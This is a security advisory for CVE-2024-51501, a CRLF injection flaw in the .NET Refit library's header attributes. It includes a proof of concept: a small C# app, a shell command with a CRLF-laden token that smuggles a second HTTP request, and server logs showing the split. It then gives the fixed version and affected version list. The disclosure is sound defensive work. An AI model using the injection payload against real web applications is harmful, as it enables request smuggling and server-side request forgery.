GHSA-3hxg-fxwm-8gf7

Suggest an improvement
Source
https://github.com/advisories/GHSA-3hxg-fxwm-8gf7
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/11/GHSA-3hxg-fxwm-8gf7/GHSA-3hxg-fxwm-8gf7.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-3hxg-fxwm-8gf7
Aliases
  • CVE-2024-51501
Published
2024-11-04T23:23:17Z
Modified
2024-11-08T15:22:09.552922Z
Severity
  • 9.8 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
  • 10.0 (Critical) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H CVSS Calculator
Summary
CRLF injection in Refit's [Header], [HeaderCollection] and [Authorize] attributes
Details

Summary

The various header-related Refit attributes (Header, HeaderCollection and Authorize) are vulnerable to CRLF injection.

Details

The way HTTP headers are added to a request is via the HttpHeaders.TryAddWithoutValidation method: https://github.com/reactiveui/refit/blob/258a771f44417c6e48e103ac921fe4786f3c2a1e/Refit/RequestBuilderImplementation.cs#L1328 This method does not check for CRLF characters in the header value.

This means that any headers added to a refit request are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.

PoC

The below example code creates a console app that takes one command line variable (a bearer token) and then makes a request to some status page with the provided token inserted in the "Authorization" header:

```c# using Refit;

internal class Program { private static void Main(string[] args) { // Usage: dotnet run <bearer token> string token = args[0]; var service = RestService.For<IStatusApi>("http://insert.some.site.here"); string response = service.GetStatus(token).Result; Console.WriteLine($"Response: {response}"); }

public interface IStatusApi
{
    [Get("/status")]
    Task<string> GetStatus([Authorize("Bearer")] string token);
}

}


This application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):

```bash
anonymous@ubuntu-sofia-672448:~$ dotnet Refit-cli.dll $'test\r\nUser-Agent: injected header!\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: insert.some.site.here'
Response: <html></html>

The application intends to send a single request of the form:

GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: Bearer &lt;bearer token>

But as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:

GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: Bearer test
User-Agent: injected header!

and

GET /smuggled HTTP/1.1
Host: insert.some.site.here

This can be confirmed by checking the access logs on the server where these commands were run (with insert.some.site.here pointing to localhost):

anonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log
127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] "GET /status HTTP/1.1" 200 240 "-" "injected header!"
127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] "GET /smuggled HTTP/1.1" 404 436 "-" "-"

Impact

If an application using the Refit library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.

Strictly speaking this is a potential vulnerability in applications using Refit, not in Refit itself, but I would argue that at the very least there needs to be a warning about this behaviour in the Refit documentation.

References

Affected packages

NuGet / Refit

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
7.2.22

Affected versions

1.*

1.0.0
1.1.0
1.2.0
1.3.0

2.*

2.0.0
2.0.1
2.0.2
2.1.0
2.2.0
2.2.1
2.3.0
2.4.0
2.4.1

3.*

3.0.0
3.0.1
3.1.0

4.*

4.0.0
4.0.1
4.1.0
4.2.0
4.3.0
4.4.17
4.5.4
4.5.6
4.6.15
4.6.16
4.6.30
4.6.48
4.6.58
4.6.85
4.6.90
4.6.99
4.6.107
4.7.5
4.7.9
4.7.51
4.8.14

5.*

5.0.15
5.0.23
5.1.26
5.1.27
5.1.54
5.1.67
5.2.1
5.2.4

6.*

6.0.1
6.0.8
6.0.15
6.0.21
6.0.24
6.0.38
6.0.94
6.1.15
6.2.14
6.2.16
6.3.2
6.4.1
6.5.1

7.*

7.0.0
7.1.0
7.1.1
7.1.2
7.2.0
7.2.1